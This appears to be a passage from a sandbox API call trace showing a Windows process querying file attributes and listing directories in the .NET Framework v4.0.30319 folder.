	[0087.802] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ServiceModelReg.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\servicemodelreg.exe"), fInfoLevelId=0x0, lpFileInformation=0x12570828 | out: lpFileInformation=0x12570828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x610f0f40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x34cc0)) returned 1
	[0087.802] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ServiceModelRegUI.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\servicemodelregui.dll"), fInfoLevelId=0x0, lpFileInformation=0x12570878 | out: lpFileInformation=0x12570878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61247ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x46c8)) returned 1
	[0087.803] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ServiceMonikerSupport.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\servicemonikersupport.dll"), fInfoLevelId=0x0, lpFileInformation=0x125708c8 | out: lpFileInformation=0x125708c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x612e0120, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6ad8)) returned 1
	[0087.803] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\System.Activities.Core.Presentation.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\system.activities.core.presentation.dll"), fInfoLevelId=0x0, lpFileInformation=0x12570918 | out: lpFileInformation=0x12570918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6191fae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xac510)) returned 1
	[0087.803] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\System.Activities.DurableInstancing.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\system.activities.durableinstancing.dll"), fInfoLevelId=0x0, lpFileInformation=0x12570968 | out: lpFileInformation=0x12570968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61a2a480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x22928)) returned 1
	[0087.804] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\System.Activities.Presentation.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\system.activities.presentation.dll"), fInfoLevelId=0x0, lpFileInformation=0x125709b8 | out: lpFileInformation=0x125709b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61ac2a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2004f8)) returned 1
	[0087.808] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\System.Activities.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\system.activities.dll"), fInfoLevelId=0x0, lpFileInformation=0x12570a08 | out: lpFileInformation=0x12570a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x619b8060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x174ec0)) returned 1
	[0087.809] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\System.AddIn.Contract.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\system.addin.contract.dll"), fInfoLevelId=0x0, lpFileInformation=0x12570a58 | out: lpFileInformation=0x12570a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61b34e20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xcad8)) returned 1
	[0087.809] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\System.AddIn.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\system.addin.dll"), fInfoLevelId=0x0, lpFileInformation=0x12570aa8 | out: lpFileInformation=0x12570aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61b5af80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x276b0)) returned 1
	[0087.809] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\System.Collections.Concurrent.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\system.collections.concurrent.dll"), fInfoLevelId=0x0, lpFileInformation=0x12570af8 | out: lpFileInformation=0x12570af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61ba7240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7308)) returned 1
	[0087.809] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\System.Collections.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\system.collections.dll"), fInfoLevelId=0x0, lpFileInformation=0x12570b48 | out: lpFileInformation=0x12570b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61bf3500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74c8)) returned 1
	[0087.810] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\System.ComponentModel.Annotations.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\system.componentmodel.annotations.dll"), fInfoLevelId=0x0, lpFileInformation=0x12570b98 | out: lpFileInformation=0x12570b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61c19660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7720)) returned 1
	[0087.810] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\System.ComponentModel.Composition.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\system.componentmodel.composition.dll"), fInfoLevelId=0x0, lpFileInformation=0x12570be8 | out: lpFileInformation=0x12570be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61c65920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x4bf20)) returned 1
	[0087.810] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\System.ComponentModel.DataAnnotations.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\system.componentmodel.dataannotations.dll"), fInfoLevelId=0x0, lpFileInformation=0x12570c38 | out: lpFileInformation=0x12570c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61cd7d40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1d538)) returned 1
	[0087.811] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\System.ComponentModel.EventBasedAsync.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\system.componentmodel.eventbasedasync.dll"), fInfoLevelId=0x0, lpFileInformation=0x12570c88 | out: lpFileInformation=0x12570c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61d4a160, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7338)) returned 1
	[0087.811] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\System.ComponentModel.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\system.componentmodel.dll"), fInfoLevelId=0x0, lpFileInformation=0x12570cd8 | out: lpFileInformation=0x12570cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61d24000, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72d8)) returned 1
	[0087.859] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Temporary ASP.NET Files" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\temporary asp.net files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.859] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Temporary ASP.NET Files\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdd7b60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xacdd7b60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xacdd7b60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.859] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdd7b60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xacdd7b60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xacdd7b60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.859] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.859] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.859] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ThirdPartyNotices.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x12597a98 | out: lpFileInformation=0x12597a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x682bbe00, ftCreationTime.dwHighDateTime=0x1d09e6f, ftLastAccessTime.dwLowDateTime=0x57233420, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x682bbe00, ftLastWriteTime.dwHighDateTime=0x1d09e6f, nFileSizeHigh=0x0, nFileSizeLow=0x4e9e)) returned 1
	[0087.860] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UnInstallProfile.SQL" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallprofile.sql"), fInfoLevelId=0x0, lpFileInformation=0x12597ae8 | out: lpFileInformation=0x12597ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25bc7600, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x25bc7600, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1298)) returned 1
	[0087.861] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallcommon.sql"), fInfoLevelId=0x0, lpFileInformation=0x12597b38 | out: lpFileInformation=0x12597b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26eda300, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x26eda300, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xf32)) returned 1
	[0087.861] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallmembership.sql"), fInfoLevelId=0x0, lpFileInformation=0x12597b88 | out: lpFileInformation=0x12597b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26eda300, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x26eda300, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1afd)) returned 1
	[0087.862] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallpersistsqlstate.sql"), fInfoLevelId=0x0, lpFileInformation=0x12597bd8 | out: lpFileInformation=0x12597bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26eda300, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x26eda300, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x27d3)) returned 1
	[0087.862] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallpersonalization.sql"), fInfoLevelId=0x0, lpFileInformation=0x12597c28 | out: lpFileInformation=0x12597c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25bc7600, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x25bc7600, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1d41)) returned 1
	[0087.863] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallroles.sql"), fInfoLevelId=0x0, lpFileInformation=0x12597c78 | out: lpFileInformation=0x12597c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26eda300, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f240de0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x26eda300, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x16ed)) returned 1
	[0087.864] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallsqlstate.sql"), fInfoLevelId=0x0, lpFileInformation=0x12597cc8 | out: lpFileInformation=0x12597cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26eda300, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f240de0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x26eda300, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x25db)) returned 1
	[0087.865] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallsqlstatetemplate.sql"), fInfoLevelId=0x0, lpFileInformation=0x12597d18 | out: lpFileInformation=0x12597d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26eda300, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f240de0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x26eda300, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2e15)) returned 1
	[0087.865] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallwebeventsqlprovider.sql"), fInfoLevelId=0x0, lpFileInformation=0x12597d68 | out: lpFileInformation=0x12597d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25bc7600, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f240de0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x25bc7600, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xbbe)) returned 1
	[0087.866] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wminet_utils.dll"), fInfoLevelId=0x0, lpFileInformation=0x12597db8 | out: lpFileInformation=0x12597db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b8298c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa4b0)) returned 1
	[0087.866] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf"), fInfoLevelId=0x0, lpFileInformation=0x12597e08 | out: lpFileInformation=0x12597e08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b95a3c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b95a3c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.867] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.867] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b95a3c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b95a3c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.868] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b95a3c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b95a3c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.869] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f37bf00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5f37bf00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f37bf00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcf5ff460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xcf5ff460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d4d63c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x44a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NaturalLanguage6.dll", cAlternateFileName="NATURA~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d7cff40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x44a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NlsData0009.dll", cAlternateFileName="NLSDAT~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d8684c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x44a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NlsLexicons0009.dll", cAlternateFileName="NLSLEX~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5db15d80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x12a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="PenIMC.dll", cAlternateFileName="")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5dcdee00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x92f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="PRC6D0~1.DLL")) returned 1
